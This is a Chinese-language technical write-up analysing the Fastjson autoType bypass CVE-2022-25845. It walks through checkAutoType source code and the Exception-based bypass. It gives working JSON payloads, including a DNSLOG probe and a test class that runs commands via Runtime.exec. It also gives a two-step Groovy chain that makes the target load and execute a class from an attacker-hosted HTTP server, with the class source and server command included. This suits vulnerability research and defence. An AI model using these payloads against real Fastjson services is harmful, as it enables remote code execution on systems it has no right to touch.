前言:
针对Fastjson之前已经介绍了,这里就不再重复了,漏洞CVE-2017-18349只能用来攻击>=1.2.24版本的,CVE-2022-25845属于CVE-2017-18349的升级版,但是目前仅影响到1.2.83以下版本。CVE-2022-25845本质上是绕过了名单限制,下面我们来了解下该漏洞。
代码分析:
针对CVE-2017-18349的防御是添加了checkAutoType方法进行防御,下面我们先看看该代码:
com.alibaba.fastjson.parser.ParserConfig.checkAutoType复制
代码如下:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null) { return null; } else { String className = typeName.replace('$', '.'); if (this.autoTypeSupport || expectClass != null) { int i; String deny; for(i = 0; i < this.acceptList.length; ++i) { deny = this.acceptList[i]; if (className.startsWith(deny)) { return TypeUtils.loadClass(typeName, this.defaultClassLoader); } } for(i = 0; i < this.denyList.length; ++i) { deny = this.denyList[i]; if (className.startsWith(deny)) { throw new JSONException("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null) { clazz = this.deserializers.findClass(typeName); } if (clazz != null) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } } else { if (!this.autoTypeSupport) { String accept; int i; for(i = 0; i < this.denyList.length; ++i) { accept = this.denyList[i]; if (className.startsWith(accept)) { throw new JSONException("autoType is not support. " + typeName); } } for(i = 0; i < this.acceptList.length; ++i) { accept = this.acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (this.autoTypeSupport || expectClass != null) { clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader); } if (clazz != null) { if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) { throw new JSONException("autoType is not support. " + typeName); } if (expectClass != null) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } } if (!this.autoTypeSupport) { throw new JSONException("autoType is not support. " + typeName); } else { return clazz; } } } }
复制
其中有两个地方进行了防御:
首先第一处是设置了黑名单,如果反射的class位于黑名单中会直接异常:
设置的黑名单如下:
bsh com.mchange com.sun. java.lang.Thread java.net.Socket java.rmi javax.xml org.apache.bcel org.apache.commons.beanutils org.apache.commons.collections.Transformer org.apache.commons.collections.functors org.apache.commons.collections4.comparators org.apache.commons.fileupload org.apache.myfaces.context.servlet org.apache.tomcat org.apache.wicket.util org.codehaus.groovy.runtime org.hibernate org.jboss org.mozilla.javascript org.python.core org.springframework
复制
当位于黑名单中,无论autoTypeSupport是否为true都会返回异常
第二处就是针对autoTypeSupport的校验,当其为false的时候,会直接返回异常
所以说要是想要执行,必须能够进入到return clazz代码,下面我们逐个分析下哪个有可能:
这里可以看到有两处会返回clazz
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
clazz = this.deserializers.findClass(typeName);复制
针对第一处我们看看什么情况下会返回clazz
可以看到如下方法可以被返回
复制出来共有86个如下:
mappings = {ConcurrentHashMap@6710} size = 86 "java.awt.Color" -> {Class@7347} "class java.awt.Color" "[char" -> {Class@351} "class [C" "java.lang.IllegalStateException" -> {Class@4775} "class java.lang.IllegalStateException" "java.lang.IndexOutOfBoundsException" -> {Class@6946} "class java.lang.IndexOutOfBoundsException" "java.sql.Time" -> {Class@6842} "class java.sql.Time" "java.lang.NoSuchMethodException" -> {Class@700} "class java.lang.NoSuchMethodException" "java.util.Collections$EmptyMap" -> {Class@222} "class java.util.Collections$EmptyMap" "java.util.Date" -> {Class@1172} "class java.util.Date" "java.awt.Point" -> {Class@7356} "class java.awt.Point" "[boolean" -> {Class@352} "class [Z" "float" -> {Class@6689} "float" "java.lang.AutoCloseable" -> {Class@289} "interface java.lang.AutoCloseable" "java.lang.NullPointerException" -> {Class@264} "class java.lang.NullPointerException" "java.lang.NoSuchFieldError" -> {Class@699} "class java.lang.NoSuchFieldError" "java.lang.NoSuchFieldException" -> {Class@3987} "class java.lang.NoSuchFieldException" "java.util.concurrent.atomic.AtomicInteger" -> {Class@187} "class java.util.concurrent.atomic.AtomicInteger" "java.util.Locale" -> {Class@40} "class java.util.Locale" "java.lang.InstantiationException" -> {Class@6986} "class java.lang.InstantiationException" "java.lang.InternalError" -> {Class@354} "class java.lang.InternalError" "java.lang.SecurityException" -> {Class@1609} "class java.lang.SecurityException" "[int" -> {Class@346} "class [I" "[double" -> {Class@349} "class [D" "java.lang.Cloneable" -> {Class@335} "interface java.lang.Cloneable" "java.lang.IllegalAccessException" -> {Class@6961} "class java.lang.IllegalAccessException" "java.util.IdentityHashMap" -> {Class@380} "class java.util.IdentityHashMap" "java.lang.LinkageError" -> {Class@325} "class java.lang.LinkageError" "byte" -> {Class@7375} "byte" "double" -> {Class@7377} "double" "java.awt.Font" -> {Class@7379} "class java.awt.Font" "java.sql.Timestamp" -> {Class@7050} "class java.sql.Timestamp" "java.util.concurrent.ConcurrentHashMap" -> {Class@36} "class java.util.concurrent.ConcurrentHashMap" "java.lang.StringIndexOutOfBoundsException" -> {Class@7130} "class java.lang.StringIndexOutOfBoundsException" "java.util.UUID" -> {Class@6682} "class java.util.UUID" "java.lang.Exception" -> {Class@330} "class java.lang.Exception" "java.lang.IllegalAccessError" -> {Class@6803} "class java.lang.IllegalAccessError" "com.alibaba.fastjson.JSONObject" -> {Class@6429} "class com.alibaba.fastjson.JSONObject" "java.awt.Rectangle" -> {Class@7387} "class java.awt.Rectangle" "java.lang.StackOverflowError" -> {Class@320} "class java.lang.StackOverflowError" "[B" -> {Class@348} "class [B" "java.lang.TypeNotPresentException" -> {Class@6858} "class java.lang.TypeNotPresentException" "[C" -> {Class@351} "class [C" "[D" -> {Class@349} "class [D" "java.text.SimpleDateFormat" -> {Class@1131} "class java.text.SimpleDateFormat" "java.util.HashMap" -> {Class@206} "class java.util.HashMap" "[F" -> {Class@350} "class [F" "long" -> {Class@6675} "long" "[I" -> {Class@346} "class [I" "java.util.TreeSet" -> {Class@584} "class java.util.TreeSet" "[short" -> {Class@347} "class [S" "[J" -> {Class@345} "class [J" "java.lang.VerifyError" -> {Class@6941} "class java.lang.VerifyError" "java.util.LinkedHashMap" -> {Class@95} "class java.util.LinkedHashMap" "java.util.HashSet" -> {Class@365} "class java.util.HashSet" "java.lang.IllegalMonitorStateException" -> {Class@319} "class java.lang.IllegalMonitorStateException" "[byte" -> {Class@348} "class [B" "java.util.Calendar" -> {Class@1145} "class java.util.Calendar" "[S" -> {Class@347} "class [S" "java.lang.StackTraceElement" -> {Class@1523} "class java.lang.StackTraceElement" "java.lang.NoClassDefFoundError" -> {Class@1654} "class java.lang.NoClassDefFoundError" "java.util.Hashtable" -> {Class@304} "class java.util.Hashtable" "java.util.WeakHashMap" -> {Class@180} "class java.util.WeakHashMap" "java.util.LinkedHashSet" -> {Class@915} "class java.util.LinkedHashSet" "[Z" -> {Class@352} "class [Z" "java.lang.NegativeArraySizeException" -> {Class@6891} "class java.lang.NegativeArraySizeException" "java.lang.IllegalThreadStateException" -> {Class@7103} "class java.lang.IllegalThreadStateException" "[long" -> {Class@345} "class [J" "java.lang.NoSuchMethodError" -> {Class@210} "class java.lang.NoSuchMethodError" "java.lang.NumberFormatException" -> {Class@4340} "class java.lang.NumberFormatException" "java.lang.RuntimeException" -> {Class@329} "class java.lang.RuntimeException" "java.lang.IllegalArgumentException" -> {Class@64} "class java.lang.IllegalArgumentException" "int" -> {Class@7422} "int" "java.sql.Date" -> {Class@7066} "class java.sql.Date" "java.util.concurrent.TimeUnit" -> {Class@1262} "class java.util.concurrent.TimeUnit" "java.util.concurrent.atomic.AtomicLong" -> {Class@103} "class java.util.concurrent.atomic.AtomicLong" "java.util.concurrent.ConcurrentSkipListMap" -> {Class@4650} "class java.util.concurrent.ConcurrentSkipListMap" "boolean" -> {Class@6694} "boolean" "java.util.concurrent.ConcurrentSkipListSet" -> {Class@4647} "class java.util.concurrent.ConcurrentSkipListSet" "java.util.TreeMap" -> {Class@163} "class java.util.TreeMap" "java.lang.InstantiationError" -> {Class@6840} "class java.lang.InstantiationError" "java.lang.InterruptedException" -> {Class@230} "class java.lang.InterruptedException" "[float" -> {Class@350} "class [F" "char" -> {Class@7434} "char" "short" -> {Class@6691} "short" "java.lang.Object" -> {Class@344} "class java.lang.Object" "java.util.BitSet" -> {Class@18} "class java.util.BitSet" "java.lang.OutOfMemoryError" -> {Class@321} "class java.lang.OutOfMemoryError"
复制
第二处 deserializers可以看到有如下方法:
具体有很多类型,这里就不进行罗列;
然后第二处如下,这里是获取用户设置的白名单
第三处如下,第三处想被调用需要满足checkAutoType的第二个参数不能为空或者autoTypeSupport为true
最后一处就是autoTypeSupport为true的情况下,当不满足上面任意一个选项的时候会进行调用。
对上面四处分析可以发现正常情况下程序员不会把autoTypeSupport设置为false,但是利用前两个我们可以绕过autoTypeSupport的校验,但是要想反射我们指定的方法,则还是需要配合第三处,通过继承指定的方法完成,下面我们分别进行测试下:
首先我们测试第二个,我们发现如下方法位于名单中,那我们测试使用该方法可否绕过
java.net.InetSocketAddress复制
发送如下poc
{"name":{ "@type":"java.net.InetSocketAddress", "val":"0u3967.dnslog.cn" }, "age":30 }
复制
执行后发现成功返回java.net.InetSocketAddress,并最后进入到return clazz中被反射,进而绕过了autoTypeSupport
下面同样的我们测试第一处,使用名单中的java.lang.Exception,同样绕过了autoTypeSupport限制
知道了怎么绕过autoTypeSupport,但是我们只能调用反射名单中的类,这样没办法利用,打个DNSLOG也没什么意思,这个时候就要配合利用第三处加载两次我们的反射类即可,这里着重先看下关键的几个地方:
代码位于如下:
com.alibaba.fastjson.parser.DefaultJSONParser.parseObject复制
进入getDeserializer方法需要注意,这里我们知道利用的是java.lang.Exception,所以我们这里就基于这个进行讲解,由于第一次调用内部列表中没有java.lang.Exception,所以会先调用下面的getDeserializer方法将java.lang.Exception和对应的继承类型放入列表中,后面调用就可以直接返回该方法和继承类:
最后添加的 java.lang.Exception和对应的处理方法到列表中:
最后通过获取上面的列表得到具体的处理方法:
然后会进入class com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer中处理:
重点来了,再 ThrowableDeserializer的deserialze处理方法中获取到第二个@type内容并作为参数调用了checkAutoType方法,这样我们就可以调用我们自己的方法,但是这里有一个需要注意,就是我们调用的方法也要继承Throwable:
这里我们可以尝试调用一个其他的方法
执行后发现其最后调用class com.alibaba.fastjson.serializer.MiscCodec,但是其中的deserialze方法并没有调用checkAutoType,因此只有特定的方法可以:
对源码查看发现具体的不同类的处理方法位于如下列表代码中:
com.alibaba.fastjson.parser.deserializer复制
查找共发现四处可以调用checkAutoType:
JavaBeanDeserializer:
userType = parser.getConfig().checkAutoType(typeName, expectClass, lexer.getFeatures());
AbstractDateDeserializer
Class<?> type = parser.getConfig().checkAutoType(typeName, (Class)null, lexer.getFeatures());
MapDeserializer:
clazz = config.checkAutoType(typeName, (Class)null, lexer.getFeatures());
ThrowableDeserializer
exClass = parser.getConfig().checkAutoType(exClassName, Throwable.class, lexer.getFeatures());复制
再看看checkAutoType对参数的要求:
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features)复制
其中autoTypeSupport和jsonType我们没办法设置为true,所以expectClassFlag要求不能为空,则AbstractDateDeserializer和MapDeserializer无法利用,仅剩JavaBeanDeserializer和ThrowableDeserializer
下面就需要确定哪些方法可以最终调用到ThrowableDeserializer或者JavaBeanDeserializer,这里就需要关注
com.alibaba.fastjson.parser.ParserConfig的getDeserializer方法复制
可以看到当为Throwable或者不属于上述任何一个类型即可分别进入 ThrowableDeserializer或者JavaBeanDeserializer中,ThrowableDeserializer较为简单,直接以ThrowableDeserializer测试:
首先编写测试代码:
测试代码如下:
package org.example.controller; import java.io.IOException; public class mytest extends Exception { public void setName(String str) { try { Runtime.getRuntime().exec(str); } catch (IOException e) { e.printStackTrace(); } } }
复制
代码中需要注意,需要继承 Exception ,不然无法通过类型检测,具体的检测后面会讲解:
攻击代码:
{ "@type": "java.lang.InternalError", "@type": "org.example.controller.mytest", "name": "calc.exe" }
复制
进入checkAutoType中调用参数如下:
此处会对类型进行校验,如果不相同会报错,这就是为什么必须继承Exception
最后调用我们自己添加的类弹出计算器
上述就是大致的利用思路,然后我们看看网上公布的利用链,进行分析
利用:
网上利用链如下,需要分两步:
{ "@type":"java.lang.Exception", "@type":"org.codehaus.groovy.control.CompilationFailedException", "unit":{} } { "@type":"org.codehaus.groovy.control.ProcessingUnit", "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", "config":{ "@type":"org.codehaus.groovy.control.CompilerConfiguration", "classpathList":"http://127.0.0.1:1111/" } }
复制
下面我们先代码大概分析下调用思路
首先需要知道我们真正想要利用的点为
org.codehaus.groovy.control.CompilationUnit方法为addPhaseOperations的ASTTransformationVisitor.addPhaseOperations(this);复制
进而实现加载远程代码,但是要如果设置上加载的远程地址和如何最终调用,攻击利用很巧妙,我们下面进行分析:
首先我们需要先利用Exception加载我们需要的类,我们先要找到一个继承了Exception的类,并且调用了我们需要加载的方法:
发现org.codehaus.groovy.control.CompilationFailedException符合我们的需求,其中需要调用我们需要加载的org.codehaus.groovy.control.ProcessingUnit
当发送了上述的poc,可以成功的将org.codehaus.groovy.control.CompilationFailedException和org.codehaus.groovy.control.ProcessingUnit加入到名单中,可以绕过校验。
这样org.codehaus.groovy.control.ProcessingUnit就成功的绕过了检测,下面就可以发送第二个poc了,首先我们看看org.codehaus.groovy.tools.javac.JavaStubCompilationUnit类型:
可以看到 JavaStubCompilationUnit继承自ProcessingUnit,所以org.codehaus.groovy.tools.javac.JavaStubCompilationUnit也可以绕过检测被加载到名单中:
查看其调用参数:
可以看到其第一个参数为 org.codehaus.groovy.control.CompilerConfiguratio,所以会调用到org.codehaus.groovy.control.CompilerConfiguration方法
这样我们就可以利用 CompilerConfiguration的setClasspathList方法来设置远程服务器地址了:
设置完地址后回回到JavaStubCompilationUnit方法,并调用如下代码:
super(config, (CodeSource)null, gcl);复制
这样就会调用到父类CompilationUnit方法:
然后又会调用父进程ProcessingUnit:
super(configuration, loader, (ErrorCollector)null);复制
setClassLoader中调用了GroovyClassLoader:
return new GroovyClassLoader(parent, this.getConfiguration());复制
此处将地址添加到了Groovy远程地址中:
添加完成后回到CompilationUnit方法中,然后就会调用到addPhaseOperations方法:
然后会调用addPhaseOperations中的ASTTransformationVisitor方法:
ASTTransformationVisitor.addPhaseOperations(this);复制
进入addGlobalTransformsAfterGrab代码可以看到此处加载远程META-INF/services/org.codehaus.groovy.transform.ASTTransformation代码:
Enumeration<URL> globalServices = transformLoader.getResources("META-INF/services/org.codehaus.groovy.transform.ASTTransformation");复制
访问远程服务器文件:
读取文件内容获取classname为Blue:
最后调用addPhaseOperationsForGlobalTransforms方法完成实列化:
利用:
利用需要先新建目录\META-INF\services\并新建文件org.codehaus.groovy.transform.ASTTransformation,其中添加我们要加载的类,这里按照POC走Blue
然后使用javac编译如下java代码为Blue.class
import org.codehaus.groovy.ast.ASTNode; import org.codehaus.groovy.control.SourceUnit; import org.codehaus.groovy.transform.ASTTransformation; import org.codehaus.groovy.transform.GroovyASTTransformation; import java.io.IOException; @GroovyASTTransformation public class Blue implements ASTTransformation { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { throw new RuntimeException(e); } } @Override public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) { } }
复制
然后搭建服务器:
python -m http.server 8013复制
然后依次发送两个poc,可以成功执行我们远程代码:
攻击链非常巧妙,其主要核心思想是利用Groovy 编译器加载远程代码,利用了java.lang.Exception过滤漏洞实现了对任意类的加载最终导致命令执行;
防御:
1.2.80后已经可以进行防御,看了下83的代码防御简单粗暴,针对Exception和Error进行了过滤,阻止了Exception的加载
总结:
针对1.2.83以下的版本虽然1.2.24后虽然添加了checkAutoType检测,但是忽略了针对Exception和Error的过滤导致了使用该类可以通过Groovy实现远程方法加载,漏洞不复杂,但是利用Groovy实现远程类的加载还是很有意思,感兴趣的可以深挖下看看有没有其他调用链玩